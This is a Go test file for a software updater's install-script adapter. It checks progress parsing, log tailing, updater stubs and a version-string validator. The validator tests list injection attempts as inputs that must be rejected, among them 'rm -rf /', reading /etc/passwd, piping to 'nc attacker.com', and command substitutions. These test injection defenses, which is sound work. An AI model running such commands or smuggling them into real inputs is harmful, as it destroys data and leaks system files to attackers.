package updates

import (
	"os"
	"path/filepath"
	"regexp"
	"testing"
)

func TestInstallShAdapter_ParseProgress(t *testing.T) {
	adapter := &InstallShAdapter{}

	tests := []struct {
		name           string
		line           string
		wantStage      string
		wantProgress   int
		wantMessage    string
		wantIsComplete bool
	}{
		// Downloading stage
		{
			name:         "downloading lowercase",
			line:         "downloading pulse binary...",
			wantStage:    "downloading",
			wantProgress: 30,
			wantMessage:  "Downloading update...",
		},
		{
			name:         "downloading uppercase",
			line:         "DOWNLOADING files from GitHub",
			wantStage:    "downloading",
			wantProgress: 30,
			wantMessage:  "Downloading update...",
		},
		{
			name:         "downloading mixed case",
			line:         "Downloading release v1.2.3",
			wantStage:    "downloading",
			wantProgress: 30,
			wantMessage:  "Downloading update...",
		},

		// Extracting stage
		{
			name:         "extracting lowercase",
			line:         "extracting tarball...",
			wantStage:    "extracting",
			wantProgress: 40,
			wantMessage:  "Extracting files...",
		},
		{
			name:         "extracting in sentence",
			line:         "Now extracting the archive to /opt/pulse",
			wantStage:    "extracting",
			wantProgress: 40,
			wantMessage:  "Extracting files...",
		},

		// Installing stage
		{
			name:         "installing lowercase",
			line:         "installing pulse binary...",
			wantStage:    "installing",
			wantProgress: 60,
			wantMessage:  "Installing...",
		},
		{
			name:         "installing uppercase",
			line:         "INSTALLING to /opt/pulse/bin",
			wantStage:    "installing",
			wantProgress: 60,
			wantMessage:  "Installing...",
		},

		// Backup stage
		{
			name:         "backup lowercase",
			line:         "backup created at /etc/pulse.bak",
			wantStage:    "backing-up",
			wantProgress: 25,
			wantMessage:  "Creating backup...",
		},
		{
			name:         "backup with path",
			line:         "Creating backup: /var/backup/pulse-20231201",
			wantStage:    "backing-up",
			wantProgress: 25,
			wantMessage:  "Creating backup...",
		},

		// Configuring stage
		{
			name:         "configuring lowercase",
			line:         "configuring systemd service...",
			wantStage:    "configuring",
			wantProgress: 70,
			wantMessage:  "Configuring...",
		},
		{
			name:         "configuration partial match",
			line:         "configuration files updated",
			wantStage:    "configuring",
			wantProgress: 70,
			wantMessage:  "Configuring...",
		},

		// Restarting stage
		{
			name:         "restart lowercase",
			line:         "restart pulse service...",
			wantStage:    "restarting",
			wantProgress: 90,
			wantMessage:  "Restarting service...",
		},
		{
			name:         "restarting",
			line:         "restarting the pulse service",
			wantStage:    "restarting",
			wantProgress: 90,
			wantMessage:  "Restarting service...",
		},

		// Completed stage
		{
			name:           "completed lowercase",
			line:           "update completed",
			wantStage:      "completed",
			wantProgress:   100,
			wantMessage:    "Update completed",
			wantIsComplete: true,
		},
		{
			name:           "complete partial",
			line:           "Installation complete!",
			wantStage:      "completed",
			wantProgress:   100,
			wantMessage:    "Update completed",
			wantIsComplete: true,
		},
		{
			name:           "success",
			line:           "success: pulse has been updated",
			wantStage:      "completed",
			wantProgress:   100,
			wantMessage:    "Update completed",
			wantIsComplete: true,
		},
		{
			name:           "successfully",
			line:           "Pulse updated successfully!",
			wantStage:      "completed",
			wantProgress:   100,
			wantMessage:    "Update completed",
			wantIsComplete: true,
		},

		// No match cases
		{
			name:         "empty string",
			line:         "",
			wantStage:    "",
			wantProgress: 0,
			wantMessage:  "",
		},
		{
			name:         "unrelated output",
			line:         "checking permissions...",
			wantStage:    "",
			wantProgress: 0,
			wantMessage:  "",
		},
		{
			name:         "version info",
			line:         "Current version: v1.2.3",
			wantStage:    "",
			wantProgress: 0,
			wantMessage:  "",
		},
		{
			name:         "random log line",
			line:         "2024-01-01 12:00:00 INFO Starting update process",
			wantStage:    "",
			wantProgress: 0,
			wantMessage:  "",
		},

		// Note: map iteration order is not guaranteed, so when multiple
		// patterns match, any of them could be returned. This tests the
		// behavior for lines that only match one pattern.
		{
			name:         "only downloading matches",
			line:         "downloading files from server",
			wantStage:    "downloading",
			wantProgress: 30,
			wantMessage:  "Downloading update...",
		},
	}

	for _, tc := range tests {
		t.Run(tc.name, func(t *testing.T) {
			result := adapter.parseProgress(tc.line)

			if result.Stage != tc.wantStage {
				t.Errorf("Stage = %q, want %q", result.Stage, tc.wantStage)
			}
			if result.Progress != tc.wantProgress {
				t.Errorf("Progress = %d, want %d", result.Progress, tc.wantProgress)
			}
			if result.Message != tc.wantMessage {
				t.Errorf("Message = %q, want %q", result.Message, tc.wantMessage)
			}
			if result.IsComplete != tc.wantIsComplete {
				t.Errorf("IsComplete = %v, want %v", result.IsComplete, tc.wantIsComplete)
			}
		})
	}
}

func TestInstallShAdapter_ReadLastLines(t *testing.T) {
	adapter := &InstallShAdapter{}

	tests := []struct {
		name     string
		content  string
		n        int
		expected string
	}{
		{
			name:     "read last 3 lines from 5 line file",
			content:  "line1\nline2\nline3\nline4\nline5",
			n:        3,
			expected: "line3\nline4\nline5",
		},
		{
			name:     "read last 5 lines from 3 line file",
			content:  "line1\nline2\nline3",
			n:        5,
			expected: "line1\nline2\nline3",
		},
		{
			name:     "read last 1 line",
			content:  "line1\nline2\nline3",
			n:        1,
			expected: "line3",
		},
		{
			name:     "read last 0 lines returns empty",
			content:  "line1\nline2\nline3",
			n:        0,
			expected: "",
		},
		{
			name:     "empty file",
			content:  "",
			n:        5,
			expected: "",
		},
		{
			name:     "single line file",
			content:  "only line",
			n:        3,
			expected: "only line",
		},
		{
			name:     "file with trailing newline",
			content:  "line1\nline2\nline3\n",
			n:        2,
			expected: "line2\nline3",
		},
		{
			name:     "large n value",
			content:  "a\nb\nc",
			n:        1000,
			expected: "a\nb\nc",
		},
		{
			name:     "negative n returns empty",
			content:  "line1\nline2",
			n:        -1,
			expected: "",
		},
		{
			name:     "lines with special characters",
			content:  "error: failed!\nwarning: [WARN]\ninfo: done",
			n:        2,
			expected: "warning: [WARN]\ninfo: done",
		},
	}

	for _, tc := range tests {
		t.Run(tc.name, func(t *testing.T) {
			// Create temp file with content
			tmpDir := t.TempDir()
			tmpFile := filepath.Join(tmpDir, "test.log")

			if tc.content != "" {
				if err := os.WriteFile(tmpFile, []byte(tc.content), 0644); err != nil {
					t.Fatalf("Failed to create test file: %v", err)
				}
			} else {
				// Create empty file
				f, err := os.Create(tmpFile)
				if err != nil {
					t.Fatalf("Failed to create test file: %v", err)
				}
				f.Close()
			}

			result := adapter.readLastLines(tmpFile, tc.n)

			if result != tc.expected {
				t.Errorf("readLastLines() = %q, want %q", result, tc.expected)
			}
		})
	}
}

func TestInstallShAdapter_ReadLastLines_FileNotFound(t *testing.T) {
	adapter := &InstallShAdapter{}

	result := adapter.readLastLines("/nonexistent/path/file.log", 5)

	if result != "" {
		t.Errorf("readLastLines() for nonexistent file = %q, want empty string", result)
	}
}

func TestVersionPatternValidation(t *testing.T) {
	// This tests the version pattern used in Execute() for command injection prevention
	versionPattern := regexp.MustCompile(`^v?\d+\.\d+\.\d+(?:-[a-zA-Z0-9.-]+)?(?:\+[a-zA-Z0-9.-]+)?$`)

	tests := []struct {
		version string
		valid   bool
	}{
		// Valid versions
		{"1.0.0", true},
		{"v1.0.0", true},
		{"0.0.1", true},
		{"v0.0.1", true},
		{"10.20.30", true},
		{"v10.20.30", true},
		{"1.2.3-alpha", true},
		{"v1.2.3-alpha", true},
		{"1.2.3-beta.1", true},
		{"v1.2.3-beta.1", true},
		{"1.2.3-rc1", true},
		{"v1.2.3-rc1", true},
		{"1.2.3-alpha.beta.gamma", true},
		{"1.2.3+build", true},
		{"v1.2.3+build", true},
		{"1.2.3+build.123", true},
		{"1.2.3-alpha+build", true},
		{"v1.2.3-alpha+build.456", true},

		// Invalid versions - potential injection attempts
		{"1.0.0; rm -rf /", false},
		{"1.0.0 && cat /etc/passwd", false},
		{"1.0.0 | nc attacker.com 1234", false},
		{"$(whoami)", false},
		{"`id`", false},
		{"1.0.0\nmalicious", false},
		{"1.0.0$(touch /tmp/pwned)", false},
		{"../../../etc/passwd", false},
		{"", false},
		{"v", false},
		{"1", false},
		{"1.0", false},
		{"1.0.0.0", false},
		{"v1.0.0.0", false},
		{"latest", false},
		{"master", false},
		{"main", false},
		{"HEAD", false},
		{"1.0.0-", false},        // trailing dash
		{"1.0.0+", false},        // trailing plus
		{"-1.0.0", false},        // leading dash
		{"v-1.0.0", false},       // invalid prefix
		{"V1.0.0", false},        // uppercase V not allowed
		{"1.0.0--alpha", true},   // double dash allowed (not a security risk)
		{"1.0.0++build", false},  // double plus
		{"1.0.0-alpha_1", false}, // underscore not allowed in prerelease
		{"1.0.0+build_1", false}, // underscore not allowed in build metadata
	}

	for _, tc := range tests {
		t.Run(tc.version, func(t *testing.T) {
			result := versionPattern.MatchString(tc.version)
			if result != tc.valid {
				t.Errorf("version %q: got valid=%v, want valid=%v", tc.version, result, tc.valid)
			}
		})
	}
}

func TestDockerUpdater(t *testing.T) {
	updater := NewDockerUpdater()

	t.Run("SupportsApply", func(t *testing.T) {
		if updater.SupportsApply() {
			t.Error("DockerUpdater should not support auto apply")
		}
	})

	t.Run("GetDeploymentType", func(t *testing.T) {
		if updater.GetDeploymentType() != "docker" {
			t.Errorf("GetDeploymentType() = %q, want %q", updater.GetDeploymentType(), "docker")
		}
	})

	t.Run("Execute returns error", func(t *testing.T) {
		err := updater.Execute(nil, UpdateRequest{}, nil)
		if err == nil {
			t.Error("Execute() should return error for docker deployments")
		}
	})

	t.Run("Rollback returns error", func(t *testing.T) {
		err := updater.Rollback(nil, "event-123")
		if err == nil {
			t.Error("Rollback() should return error for docker deployments")
		}
	})
}

func TestAURUpdater(t *testing.T) {
	updater := NewAURUpdater()

	t.Run("SupportsApply", func(t *testing.T) {
		if updater.SupportsApply() {
			t.Error("AURUpdater should not support auto apply")
		}
	})

	t.Run("GetDeploymentType", func(t *testing.T) {
		if updater.GetDeploymentType() != "aur" {
			t.Errorf("GetDeploymentType() = %q, want %q", updater.GetDeploymentType(), "aur")
		}
	})

	t.Run("Execute returns error", func(t *testing.T) {
		err := updater.Execute(nil, UpdateRequest{}, nil)
		if err == nil {
			t.Error("Execute() should return error for AUR deployments")
		}
	})

	t.Run("Rollback returns error", func(t *testing.T) {
		err := updater.Rollback(nil, "event-123")
		if err == nil {
			t.Error("Rollback() should return error for AUR deployments")
		}
	})
}

func TestInstallShAdapter_SupportsApply(t *testing.T) {
	adapter := &InstallShAdapter{}

	if !adapter.SupportsApply() {
		t.Error("InstallShAdapter should support auto apply")
	}
}

func TestInstallShAdapter_GetDeploymentType(t *testing.T) {
	adapter := &InstallShAdapter{}

	if adapter.GetDeploymentType() != "systemd" {
		t.Errorf("GetDeploymentType() = %q, want %q", adapter.GetDeploymentType(), "systemd")
	}
}

func TestNewInstallShAdapter(t *testing.T) {
	adapter := NewInstallShAdapter(nil)

	if adapter == nil {
		t.Fatal("NewInstallShAdapter returned nil")
	}

	if adapter.installScriptURL == "" {
		t.Error("installScriptURL should not be empty")
	}

	if adapter.logDir == "" {
		t.Error("logDir should not be empty")
	}

	expectedURL := "https://github.com/rcourtman/Pulse/releases/latest/download/install.sh"
	if adapter.installScriptURL != expectedURL {
		t.Errorf("installScriptURL = %q, want %q", adapter.installScriptURL, expectedURL)
	}

	expectedLogDir := "/var/log/pulse"
	if adapter.logDir != expectedLogDir {
		t.Errorf("logDir = %q, want %q", adapter.logDir, expectedLogDir)
	}
}
